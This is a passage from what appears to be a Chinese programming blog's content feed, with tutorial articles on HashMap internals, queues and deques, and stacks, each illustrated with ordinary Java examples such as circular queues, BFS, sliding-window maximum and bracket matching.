class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-put方法流程"><a href="#4-3-put方法流程" class="headerlink" title="4.3 put方法流程"></a>4.3 put方法流程</h3><ol><li>计算key的hash值</li><li>定位桶位置：<code>(n - 1) &amp; hash</code></li><li>桶为空：直接插入</li><li>桶非空：遍历链表/红黑树<ul><li>key已存在：覆盖value</li><li>key不存在：尾插法插入</li></ul></li><li>检查是否需要扩容</li></ol><h3 id="4-4-扩容机制"><a href="#4-4-扩容机制" class="headerlink" title="4.4 扩容机制"></a>4.4 扩容机制</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">final</span> Node&lt;K,V&gt;[] resize() &#123;</span><br><span class="line">    Node&lt;K,V&gt;[] oldTab = table;</span><br><span class="line">    <span class="type">int</span> <span class="variable">oldCap</span> <span class="operator">=</span> (oldTab == <span class="literal">null</span>) ? <span class="number">0</span> : oldTab.length;</span><br><span class="line">    <span class="type">int</span> <span class="variable">oldThr</span> <span class="operator">=</span> threshold;</span><br><span class="line">    <span class="type">int</span> newCap, newThr = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (oldCap &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (oldCap &gt;= MAXIMUM_CAPACITY) &#123;</span><br><span class="line">            threshold = Integer.MAX_VALUE;</span><br><span class="line">            <span class="keyword">return</span> oldTab;</span><br><span class="line">        &#125;</span><br><span class="line">        newCap = oldCap &lt;&lt; <span class="number">1</span>;  <span class="comment">// 容量翻倍</span></span><br><span class="line">        newThr = oldThr &lt;&lt; <span class="number">1</span>;  <span class="comment">// 阈值翻倍</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 迁移数据：重新计算索引或保持原索引/原索引+oldCap</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>扩容优化</strong>：</p><ul><li>容量为2的幂，新索引只可能是原索引或<code>原索引+oldCap</code></li><li>通过<code>(hash &amp; oldCap) == 0</code>判断</li></ul><h3 id="4-5-链表转红黑树"><a href="#4-5-链表转红黑树" class="headerlink" title="4.5 链表转红黑树"></a>4.5 链表转红黑树</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">TREEIFY_THRESHOLD</span> <span class="operator">=</span> <span class="number">8</span>;   <span class="comment">// 链表长度≥8转红黑树</span></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">UNTREEIFY_THRESHOLD</span> <span class="operator">=</span> <span class="number">6</span>; <span class="comment">// 树节点≤6转链表</span></span><br></pre></td></tr></table></figure><p>转换条件：</p><ol><li>链表长度 ≥ 8</li><li>数组长度 ≥ 64（否则优先扩容）</li></ol><h2 id="五、负载因子-Load-Factor"><a href="#五、负载因子-Load-Factor" class="headerlink" title="五、负载因子(Load Factor)"></a>五、负载因子(Load Factor)</h2><h3 id="5-1-定义"><a href="#5-1-定义" class="headerlink" title="5.1 定义"></a>5.1 定义</h3><p>[ \text{负载因子} = \frac{\text{元素个数}}{\text{桶数量}} ]</p><h3 id="5-2-默认值0-75的含义"><a href="#5-2-默认值0-75的含义" class="headerlink" title="5.2 默认值0.75的含义"></a>5.2 默认值0.75的含义</h3><ul><li>空间与时间的平衡</li><li>过高：冲突增加，查询变慢</li><li>过低：空间浪费</li></ul><h3 id="5-3-调整策略"><a href="#5-3-调整策略" class="headerlink" title="5.3 调整策略"></a>5.3 调整策略</h3><ul><li>内存敏感：降低负载因子</li><li>速度敏感：保持或适当提高</li></ul><h2 id="六、ConcurrentHashMap"><a href="#六、ConcurrentHashMap" class="headerlink" title="六、ConcurrentHashMap"></a>六、ConcurrentHashMap</h2><h3 id="6-1-JDK-1-7-分段锁"><a href="#6-1-JDK-1-7-分段锁" class="headerlink" title="6.1 JDK 1.7 - 分段锁"></a>6.1 JDK 1.7 - 分段锁</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Segment[16]</span><br><span class="line">  ├── HashEntry[]</span><br><span class="line">  └── HashEntry[]</span><br></pre></td></tr></table></figure><h3 id="6-2-JDK-1-8-CAS-synchronized"><a href="#6-2-JDK-1-8-CAS-synchronized" class="headerlink" title="6.2 JDK 1.8 - CAS + synchronized"></a>6.2 JDK 1.8 - CAS + synchronized</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">transient</span> <span class="keyword">volatile</span> Node&lt;K,V&gt;[] table;</span><br><span class="line"></span><br><span class="line"><span class="keyword">final</span> V <span class="title function_">putVal</span><span class="params">(K key, V value, <span class="type">boolean</span> onlyIfAbsent)</span> &#123;</span><br><span class="line">    <span class="comment">// 使用CAS初始化或synchronized锁住头节点</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>锁粒度</strong>：只锁链表/红黑树的头节点。</p><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>特性</th><th>HashMap</th><th>Hashtable</th><th>ConcurrentHashMap</th></tr></thead><tbody><tr><td>线程安全</td><td>否</td><td>是(synchronized)</td><td>是(CAS+锁)</td></tr><tr><td>允许null</td><td>key/value</td><td>否</td><td>否</td></tr><tr><td>扩容</td><td>2倍</td><td>2倍+1</td><td>2倍</td></tr><tr><td>遍历</td><td>fail-fast</td><td>fail-fast</td><td>弱一致性</td></tr></tbody></table><p>哈希表的设计精髓在于<strong>哈希函数</strong>与<strong>冲突处理</strong>的平衡。理解HashMap的实现细节，对编写高效代码和排查问题都有重要帮助。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 哈希表 </tag>
            
            <tag> 数据结构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>队列与双端队列Deque</title>
      <link href="//queue-deque-data-structure/"/>
      <url>//queue-deque-data-structure/</url>
      
        <content type="html"><![CDATA[<h2 id="一、队列-Queue"><a href="#一、队列-Queue" class="headerlink" title="一、队列(Queue)"></a>一、队列(Queue)</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>队列是<strong>先进先出</strong>(FIFO, First In First Out)的线性数据结构。</p><h3 id="1-2-核心操作"><a href="#1-2-核心操作" class="headerlink" title="1.2 核心操作"></a>1.2 核心操作</h3><table><thead><tr><th>操作</th><th>说明</th><th>时间复杂度</th></tr></thead><tbody><tr><td>enqueue/offer</td><td>入队（队尾）</td><td>( O(1) )</td></tr><tr><td>dequeue/poll</td><td>出队（队头）</td><td>( O(1) )</td></tr><tr><td>peek</td><td>查看队头</td><td>( O(1) )</td></tr><tr><td>isEmpty</td><td>判空</td><td>( O(1) )</td></tr></tbody></table><h3 id="1-3-生活类比"><a href="#1-3-生活类比" class="headerlink" title="1.3 生活类比"></a>1.3 生活类比</h3><p>排队买票，先到的人先服务。</p><h2 id="二、队列的实现"><a href="#二、队列的实现" class="headerlink" title="二、队列的实现"></a>二、队列的实现</h2><h3 id="2-1-数组实现-循环队列"><a href="#2-1-数组实现-循环队列" class="headerlink" title="2.1 数组实现 - 循环队列"></a>2.1 数组实现 - 循环队列</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">CircularQueue</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span>[] data;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">front</span> <span class="operator">=</span> <span class="number">0</span>;  <span class="comment">// 队头</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">rear</span> <span class="operator">=</span> <span class="number">0</span>;   <span class="comment">// 队尾下一个位置</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">size</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">offer</span><span class="params">(<span class="type">int</span> val)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (size == data.length) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        data[rear] = val;</span><br><span class="line">        rear = (rear + <span class="number">1</span>) % data.length;</span><br><span class="line">        size++;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">poll</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (size == <span class="number">0</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Queue is empty&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">val</span> <span class="operator">=</span> data[front];</span><br><span class="line">        front = (front + <span class="number">1</span>) % data.length;</span><br><span class="line">        size--;</span><br><span class="line">        <span class="keyword">return</span> val;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-2-链表实现"><a href="#2-2-链表实现" class="headerlink" title="2.2 链表实现"></a>2.2 链表实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">LinkedQueue</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> ListNode head, tail;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">offer</span><span class="params">(<span class="type">int</span> val)</span> &#123;</span><br><span class="line">        <span class="type">ListNode</span> <span class="variable">node</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ListNode</span>(val);</span><br><span class="line">        <span class="keyword">if</span> (tail == <span class="literal">null</span>) &#123;</span><br><span class="line">            head = tail = node;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            tail.next = node;</span><br><span class="line">            tail = node;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">poll</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (head == <span class="literal">null</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Queue is empty&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">val</span> <span class="operator">=</span> head.val;</span><br><span class="line">        head = head.next;</span><br><span class="line">        <span class="keyword">if</span> (head == <span class="literal">null</span>) tail = <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">return</span> val;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-Java标准库"><a href="#2-3-Java标准库" class="headerlink" title="2.3 Java标准库"></a>2.3 Java标准库</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Queue&lt;Integer&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();  <span class="comment">// 链表实现</span></span><br><span class="line">Queue&lt;Integer&gt; queue = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();   <span class="comment">// 数组实现，推荐</span></span><br></pre></td></tr></table></figure><h2 id="三、双端队列-Deque"><a href="#三、双端队列-Deque" class="headerlink" title="三、双端队列(Deque)"></a>三、双端队列(Deque)</h2><h3 id="3-1-定义"><a href="#3-1-定义" class="headerlink" title="3.1 定义"></a>3.1 定义</h3><p>Deque(Double Ended Queue)允许在<strong>两端</strong>进行插入和删除操作。</p><h3 id="3-2-操作"><a href="#3-2-操作" class="headerlink" title="3.2 操作"></a>3.2 操作</h3><table><thead><tr><th>操作</th><th>队头</th><th>队尾</th></tr></thead><tbody><tr><td>插入</td><td>offerFirst</td><td>offerLast</td></tr><tr><td>删除</td><td>pollFirst</td><td>pollLast</td></tr><tr><td>查看</td><td>peekFirst</td><td>peekLast</td></tr></tbody></table><h3 id="3-3-Java实现"><a href="#3-3-Java实现" class="headerlink" title="3.3 Java实现"></a>3.3 Java实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Deque&lt;Integer&gt; deque = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">deque.offerFirst(<span class="number">1</span>);  <span class="comment">// [1]</span></span><br><span class="line">deque.offerLast(<span class="number">2</span>);   <span class="comment">// [1, 2]</span></span><br><span class="line">deque.pollFirst();    <span class="comment">// [2]</span></span><br><span class="line">deque.pollLast();     <span class="comment">// []</span></span><br></pre></td></tr></table></figure><h2 id="四、队列的经典应用"><a href="#四、队列的经典应用" class="headerlink" title="四、队列的经典应用"></a>四、队列的经典应用</h2><h3 id="4-1-BFS广度优先搜索"><a href="#4-1-BFS广度优先搜索" class="headerlink" title="4.1 BFS广度优先搜索"></a>4.1 BFS广度优先搜索</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;List&lt;Integer&gt;&gt; <span class="title function_">levelOrder</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;List&lt;Integer&gt;&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span> result;</span><br><span class="line">    </span><br><span class="line">    Queue&lt;TreeNode&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">    queue.offer(root);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">size</span> <span class="operator">=</span> queue.size();</span><br><span class="line">        List&lt;Integer&gt; level = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++) &#123;</span><br><span class="line">            <span class="type">TreeNode</span> <span class="variable">node</span> <span class="operator">=</span> queue.poll();</span><br><span class="line">            level.add(node.val);</span><br><span class="line">            <span class="keyword">if</span> (node.left != <span class="literal">null</span>) queue.offer(node.left);</span><br><span class="line">            <span class="keyword">if</span> (node.right != <span class="literal">null</span>) queue.offer(node.right);</span><br><span class="line">        &#125;</span><br><span class="line">        result.add(level);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-滑动窗口最大值"><a href="#4-2-滑动窗口最大值" class="headerlink" title="4.2 滑动窗口最大值"></a>4.2 滑动窗口最大值</h3><p>使用单调队列（双端队列实现）：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] maxSlidingWindow(<span class="type">int</span>[] nums, <span class="type">int</span> k) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> nums.length;</span><br><span class="line">    <span class="type">int</span>[] res = <span class="keyword">new</span> <span class="title class_">int</span>[n - k + <span class="number">1</span>];</span><br><span class="line">    Deque&lt;Integer&gt; deque = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();  <span class="comment">// 存索引，值单调递减</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="comment">// 移除窗口外元素</span></span><br><span class="line">        <span class="keyword">while</span> (!deque.isEmpty() &amp;&amp; deque.peekFirst() &lt; i - k + <span class="number">1</span>) &#123;</span><br><span class="line">            deque.pollFirst();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 保持单调递减</span></span><br><span class="line">        <span class="keyword">while</span> (!deque.isEmpty() &amp;&amp; nums[deque.peekLast()] &lt; nums[i]) &#123;</span><br><span class="line">            deque.pollLast();</span><br><span class="line">        &#125;</span><br><span class="line">        deque.offerLast(i);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (i &gt;= k - <span class="number">1</span>) &#123;</span><br><span class="line">            res[i - k + <span class="number">1</span>] = nums[deque.peekFirst()];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-任务调度"><a href="#4-3-任务调度" class="headerlink" title="4.3 任务调度"></a>4.3 任务调度</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用阻塞队列实现生产者-消费者</span></span><br><span class="line">BlockingQueue&lt;Task&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedBlockingQueue</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生产者</span></span><br><span class="line">queue.put(task);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 消费者</span></span><br><span class="line"><span class="type">Task</span> <span class="variable">task</span> <span class="operator">=</span> queue.take();</span><br></pre></td></tr></table></figure><h2 id="五、特殊队列"><a href="#五、特殊队列" class="headerlink" title="五、特殊队列"></a>五、特殊队列</h2><h3 id="5-1-优先队列-Priority-Queue"><a href="#5-1-优先队列-Priority-Queue" class="headerlink" title="5.1 优先队列(Priority Queue)"></a>5.1 优先队列(Priority Queue)</h3><p>元素按优先级出队，底层是堆实现。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">PriorityQueue&lt;Integer&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;();  <span class="comment">// 小顶堆</span></span><br><span class="line">PriorityQueue&lt;Integer&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(Collections.reverseOrder());  <span class="comment">// 大顶堆</span></span><br></pre></td></tr></table></figure><h3 id="5-2-延迟队列-DelayQueue"><a href="#5-2-延迟队列-DelayQueue" class="headerlink" title="5.2 延迟队列(DelayQueue)"></a>5.2 延迟队列(DelayQueue)</h3><p>元素只有到期后才能出队。</p><h3 id="5-3-阻塞队列"><a href="#5-3-阻塞队列" class="headerlink" title="5.3 阻塞队列"></a>5.3 阻塞队列</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">ArrayBlockingQueue  <span class="comment">// 有界数组</span></span><br><span class="line">LinkedBlockingQueue <span class="comment">// 无界链表</span></span><br><span class="line">SynchronousQueue    <span class="comment">// 不存储元素</span></span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>数据结构</th><th>特点</th><th>核心应用</th></tr></thead><tbody><tr><td>普通队列</td><td>FIFO</td><td>BFS、缓冲区</td></tr><tr><td>双端队列</td><td>两端操作</td><td>滑动窗口、回文判断</td></tr><tr><td>优先队列</td><td>按优先级</td><td>TopK、合并有序列表</td></tr><tr><td>阻塞队列</td><td>线程安全</td><td>生产者-消费者</td></tr></tbody></table><p>队列的FIFO特性使其非常适合处理<strong>按顺序处理</strong>和<strong>公平调度</strong>的场景。理解不同队列变体的特性，能在实际开发中做出恰当选择。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 数据结构 </tag>
            
            <tag> 队列 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>栈与栈的经典应用场景</title>
      <link href="//stack-data-structure/"/>
      <url>//stack-data-structure/</url>
      
        <content type="html"><![CDATA[<h2 id="一、栈的定义"><a href="#一、栈的定义" class="headerlink" title="一、栈的定义"></a>一、栈的定义</h2><p>栈(Stack)是一种<strong>后进先出</strong>(LIFO, Last In First Out)的线性数据结构。</p><h3 id="1-1-核心操作"><a href="#1-1-核心操作" class="headerlink" title="1.1 核心操作"></a>1.1 核心操作</h3><table><thead><tr><th>操作</th><th>说明</th><th>时间复杂度</th></tr></thead><tbody><tr><td>push</td><td>入栈</td><td>( O(1) )</td></tr><tr><td>pop</td><td>出栈</td><td>( O(1) )</td></tr><tr><td>peek/top</td><td>查看栈顶</td><td>( O(1) )</td></tr><tr><td>isEmpty</td><td>判空</td><td>( O(1) )</td></tr></tbody></table><h3 id="1-2-形象比喻"><a href="#1-2-形象比喻" class="headerlink" title="1.2 形象比喻"></a>1.2 形象比喻</h3><p>就像一摞盘子，只能从最上面放盘子(push)，也只能从最上面取盘子(pop)。</p><h2 id="二、栈的实现"><a href="#二、栈的实现" class="headerlink" title="二、栈的实现"></a>二、栈的实现</h2><h3 id="2-1-数组实现"><a href="#2-1-数组实现" class="headerlink" title="2.1 数组实现"></a>2.1 数组实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ArrayStack</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span>[] data;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">top</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">push</span><span class="params">(<span class="type">int</span> val)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (top == data.length - <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 扩容</span></span><br><span class="line">        &#125;</span><br><span class="line">        data[++top] = val;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">pop</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (isEmpty()) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Stack is empty&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> data[top--];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">peek</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> data[top];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isEmpty</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> top == -<span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-2-链表实现"><a href="#2-2-链表实现" class="headerlink" title="2.2 链表实现"></a>2.2 链表实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">LinkedStack</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> ListNode top;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">push</span><span class="params">(<span class="type">int</span> val)</span> &#123;</span><br><span class="line">        <span class="type">ListNode</span> <span class="variable">node</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ListNode</span>(val);</span><br><span class="line">        node.next = top;</span><br><span class="line">        top = node;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">pop</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (top == <span class="literal">null</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;Stack is empty&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">val</span> <span class="operator">=</span> top.val;</span><br><span class="line">        top = top.next;</span><br><span class="line">        <span class="keyword">return</span> val;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-Java标准库"><a href="#2-3-Java标准库" class="headerlink" title="2.3 Java标准库"></a>2.3 Java标准库</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Stack&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">Stack</span>&lt;&gt;();  <span class="comment">// 不推荐，线程同步有开销</span></span><br><span class="line">Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();  <span class="comment">// 推荐</span></span><br></pre></td></tr></table></figure><h2 id="三、经典应用场景"><a href="#三、经典应用场景" class="headerlink" title="三、经典应用场景"></a>三、经典应用场景</h2><h3 id="3-1-括号匹配"><a href="#3-1-括号匹配" class="headerlink" title="3.1 括号匹配"></a>3.1 括号匹配</h3><p><strong>问题</strong>：判断字符串中的括号是否合法。</p><p><strong>思路</strong>：左括号入栈，遇到右括号与栈顶匹配。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(String s)</span> &#123;</span><br><span class="line">    Deque&lt;Character&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span> c : s.toCharArray()) &#123;</span><br><span class="line">        <span class="keyword">if</span> (c == <span class="string">&#x27;(&#x27;</span> || c == <span class="string">&#x27;[&#x27;</span> || c == <span class="string">&#x27;&#123;&#x27;</span>) &#123;</span><br><span class="line">            stack.push(c);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (stack.isEmpty()) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">            <span class="type">char</span> <span class="variable">top</span> <span class="operator">=</span> stack.pop();</span><br><span class="line">            <span class="keyword">if</span> ((c == <span class="string">&#x27;)&#x27;</span> &amp;&amp; top != <span class="string">&#x27;(&#x27;</span>) ||</span><br><span class="line">                (c == <span class="string">&#x27;]&#x27;</span> &amp;&amp; top != <span class="string">&#x27;[&#x27;</span>) ||</span><br><span class="line">                (c == <span class="string">&#x27;&#125;&#x27;</span> &amp;&amp; top != <span class="string">&#x27;&#123;&#x27;</span>)) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> stack.isEmpty();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-表达式求值"><a href="#3-2-表达式求值" class="headerlink" title="3.2 表达式求值"></a>3.2 表达式求值</h3><p><strong>问题</strong>：计算中缀表达式 <code>3 + 5 * 2 - 8 / 4</code></p><p><strong>思路</strong>：使用操作符栈和数字栈。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 中缀转后缀（逆波兰表达式），再求值</span></span><br><span class="line"><span class="comment">// 后缀表达式: 3 5 2 * + 8 4 / -</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">evalRPN</span><span class="params">(String[] tokens)</span> &#123;</span><br><span class="line">    Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (String token : tokens) &#123;</span><br><span class="line">        <span class="keyword">switch</span> (token) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&quot;+&quot;</span>: stack.push(stack.pop() + stack.pop()); <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&quot;-&quot;</span>: stack.push(-stack.pop() + stack.pop()); <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&quot;*&quot;</span>: stack.push(stack.pop() * stack.pop()); <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">&quot;/&quot;</span>:</span><br><span class="line">                <span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> stack.pop(), a = stack.pop();</span><br><span class="line">                stack.push(a / b);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">default</span>: stack.push(Integer.parseInt(token));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> stack.pop();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-单调栈-下一个更大元素"><a href="#3-3-单调栈-下一个更大元素" class="headerlink" title="3.3 单调栈 - 下一个更大元素"></a>3.3 单调栈 - 下一个更大元素</h3><p><strong>问题</strong>：数组中每个元素右边第一个比它大的元素。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] nextGreaterElement(<span class="type">int</span>[] nums) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> nums.length;</span><br><span class="line">    <span class="type">int</span>[] res = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    Arrays.fill(res, -<span class="number">1</span>);</span><br><span class="line">    Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();  <span class="comment">// 存索引</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">while</span> (!stack.isEmpty() &amp;&amp; nums[stack.peek()] &lt; nums[i]) &#123;</span><br><span class="line">            res[stack.pop()] = nums[i];</span><br><span class="line">        &#125;</span><br><span class="line">        stack.push(i);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 